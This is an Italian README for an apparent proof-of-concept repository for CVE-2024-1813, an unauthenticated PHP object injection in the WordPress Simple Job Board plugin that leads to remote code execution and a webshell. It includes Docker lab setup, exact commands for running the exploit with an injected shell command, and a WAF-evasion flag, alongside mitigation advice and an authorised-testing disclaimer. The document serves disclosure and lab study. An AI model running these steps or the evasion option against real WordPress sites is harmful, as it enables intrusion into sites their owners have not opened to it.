Exploit PoC per CVE-2024-1813: iniezione di oggetti PHP nel plugin WordPress Simple Job Board, che consente RCE non autenticata tramite gadget chain. Include un laboratorio Docker per una dimostrazione sicura.
End-to-end: un visitatore memorizza un oggetto PHP serializzato tramite il modulo pubblico dell'applicazione, l'amministratore apre l'elenco dei candidati e la catena di gadget deposita una webshell.
Iniezione di oggetti PHP non autenticata nel plugin WordPress Simple Job Board (PressTigers). Un visitatore memorizza un oggetto PHP serializzato tramite il modulo pubblico dell'applicazione; quando in seguito un amministratore apre l'elenco dei candidati, il plugin lo deserializza e una catena di gadget di terze parti lo trasforma in esecuzione di codice remoto.
| CVE | CVE-2024-1813 |
| Plugin | Simple Job Board (PressTigers) |
| Versione vulnerabile | ≤ 2.11.0 |
| Versione corretta | 2.11.1 |
| Tipo | PHP Object Injection (deserializzazione insicura) |
| Autenticazione | Nessuna (iniezione pre-autenticazione) |
| Attivazione | L'amministratore apre l'elenco dei candidati (flusso di lavoro normale) |
| CVSS | 9.8 |
📖 Analisi tecnica completa: https://mobeta.fr/blog/
Questa repository è il laboratorio e il PoC di accompagnamento. L'analisi dettagliata (causa principale, la doppia
unserialize, la costruzione della catena POP, il bypass del WAF) è descritta nel post del blog.
.
├── sjb_cve_2024_1813.py # the PoC (builds + sends the payload)
├── LICENSE
└── lab/
├── docker-compose.yml # WordPress + MariaDB + vulnerable plugins
├── setup/setup.sh # one-shot provisioning (wp-cli)
└── trigger_exploit.sh # simulates the admin opening the applicants list
Riproduce lo stack vulnerabile: WordPress 6.9.4 / PHP 8.3 / MariaDB 10.11 con Simple Job Board 2.10.8 (source + sink) e All In One SEO 4.5.6 (la catena di gadget).
cd lab
docker compose up -d # boot + auto-provision
docker compose logs setup # prints the site URL, admin creds and job_id
Valori predefiniti del lab: http://localhost:8081, admin admin / admin123!.
# 1. Store the payload (pre-auth). Replace 4 with the job_id from the setup logs.
python3 sjb_cve_2024_1813.py http://localhost:8081 4 'id > /tmp/RCE_PROOF.txt'
# 2. Fire the sink (plays the admin opening the applicants list).
cd lab && ./trigger_exploit.sh
# 3. Check the result.
docker exec sjb_lab_wp cat /tmp/RCE_PROOF.txt
Flag utili del PoC:
--print-only - costruisce e stampa il payload sul wire, nessun traffico di rete.--field - nome del campo POST (deve contenere name; default jobapp_full_name).--int-prefix '+' - variante di evasione WAF del prefisso di lunghezza serializzato.--proxy http://127.0.0.1:8080 - instrada tramite Burp.unserialize() / maybe_unserialize() esplicito su post_meta;
preferire unserialize($data, ['allowed_classes' => false]).vendor/composer/installed.json così le versioni
delle librerie con scope non possono essere fingerprintate.Solo per test di sicurezza autorizzati e scopo didattico. Non eseguirlo mai contro alcun sistema senza esplicita autorizzazione scritta del proprietario.
MIT - vedi LICENSE.